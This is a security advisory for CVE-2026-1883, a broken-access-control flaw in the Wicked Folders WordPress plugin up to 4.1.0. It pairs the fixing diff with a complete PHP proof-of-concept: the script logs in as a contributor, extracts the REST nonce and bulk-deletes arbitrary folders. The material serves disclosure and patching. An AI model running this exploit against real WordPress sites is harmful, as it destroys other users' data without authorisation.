CVE-2026-1883: Wicked Folders <= 4.1.0 – Insecure Direct Object Reference to Authenticated (Contributor+) Arbitrary Folder Deletion (wicked-folders)

--- a/wicked-folders/classes/folder-collection.php
+++ b/wicked-folders/classes/folder-collection.php
@@ -68,6 +68,17 @@
             if ( $folder->id === $item->id ) {
                 unset( $this->items[ $index ] );

+                // Re-index. I don't understand why this is needed but leaving it out
+                // can prevent looping over the collection sometimes
+                $this->items = array_values( $this->items );
+
+                // Adjust index if the removed item is the same or before the current index.
+                // Setting to -1 is okay because the next() method will increment it (although
+                // then current() will be wrong so perhaps this needs to be implemented differently?)
+                if ( $index <= $this->index ) {
+                    $this->index--;
+                }
+
                 break;
             }
         }
--- a/wicked-folders/classes/post-hierarchy-dynamic-folder.php
+++ b/wicked-folders/classes/post-hierarchy-dynamic-folder.php
@@ -163,10 +163,14 @@

         if ( 'dynamic_hierarchy_0' != $id ) {
             $post_id            = ( int ) substr( $id, 18 );
-            $parent             = 'dynamic_hierarchy_' . wp_get_post_parent_id( $post_id );
-            $ancestors[]        = $parent;
-            $parent_ancestors   = $this->get_ancestor_ids( $parent );
-            $ancestors          = array_merge( $ancestors, $parent_ancestors );
+            $parent_id          = wp_get_post_parent_id( $post_id );
+
+            if ( $parent_id ) {
+                $parent             = 'dynamic_hierarchy_' . $parent_id;
+                $ancestors[]        = $parent;
+                $parent_ancestors   = $this->get_ancestor_ids( $parent );
+                $ancestors          = array_merge( $ancestors, $parent_ancestors );
+            }
         } else {
             $ancestors[] = 'dynamic_root';
         }
--- a/wicked-folders/classes/rest-api/v1/folder-api.php
+++ b/wicked-folders/classes/rest-api/v1/folder-api.php
@@ -277,27 +277,41 @@
     }

     public function update_folder_permissions_check( $request ) {
-        $allowed 	= current_user_can( 'edit_posts' );
         $user_id 	= get_current_user_id();
         $term_id    = $request->get_param( 'id' );
         $post_type  = $request->get_param( 'postType' );
         $taxonomy   = Wicked_Folders::get_tax_name( $post_type );
+        $allowed 	= current_user_can( 'edit_term', $term_id );

         return apply_filters( 'wicked_folders_can_edit_folder', $allowed, $user_id, $term_id, $taxonomy );
     }

     public function delete_folder_permissions_check( $request ) {
-        $allowed 	= current_user_can( 'edit_posts' );
         $user_id 	= get_current_user_id();
         $term_id    = $request->get_param( 'id' );
         $post_type  = $request->get_param( 'postType' );
         $taxonomy   = Wicked_Folders::get_tax_name( $post_type );
+        $allowed 	= current_user_can( 'delete_term', $term_id );

         return apply_filters( 'wicked_folders_can_delete_folder', $allowed, $user_id, $term_id, $taxonomy );
     }

     public function delete_folders_permissions_check( $request ) {
-        return current_user_can( 'edit_posts' );
+        $user_id 	= get_current_user_id();
+        $post_type  = $request->get_param( 'post_type' );
+        $folder_ids = $request->get_param( 'folder_ids' );
+        $taxonomy   = Wicked_Folders::get_tax_name( $post_type );
+
+        foreach ( $folder_ids as $term_id ) {
+            $allowed = current_user_can( 'delete_term', $term_id );
+            $allowed = apply_filters( 'wicked_folders_can_delete_folder', $allowed, $user_id, $term_id, $taxonomy );
+
+            if ( ! $allowed ) {
+                return false;
+            }
+        }
+
+        return true;
     }

     public function assign_items_permissions_check( $request ) {
--- a/wicked-folders/dist/folders.asset.php
+++ b/wicked-folders/dist/folders.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'f525e29e4d05448220d7');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-components', 'wp-data', 'wp-data-controls', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'b0b81f2c83aed6394b8c');
--- a/wicked-folders/wicked-folders.php
+++ b/wicked-folders/wicked-folders.php
@@ -4,7 +4,7 @@
 Plugin Name: Wicked Folders
 Plugin URI: https://wickedplugins.com/wicked-folders/
 Description: Organize your pages into folders.
-Version: 4.1.0
+Version: 4.1.1
 Author: Wicked Plugins
 Author URI: https://wickedplugins.com/
 Text Domain: wicked-folders

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1883 - Wicked Folders <= 4.1.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Arbitrary Folder Deletion
<?php
$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'contributor_password';
$victim_folder_ids = array(123, 456, 789); // Arbitrary term IDs to delete

// Step 1: Authenticate with WordPress to obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Extract the REST API nonce (wp_rest) from admin page
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
preg_match('/"wpApiSettings".*?"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Craft malicious REST API request to delete arbitrary folders
$rest_url = $target_url . '/wp-json/wicked-folders/v1/folders/bulk-delete';
$payload = json_encode(array(
    'folder_ids' => $victim_folder_ids,
    'post_type' => 'post' // Can be any post type managed by the plugin
));

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "Successfully deleted folders: " . implode(', ', $victim_folder_ids) . "n";
    echo "Response: $responsen";
} else {
    echo "Attack failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);
?>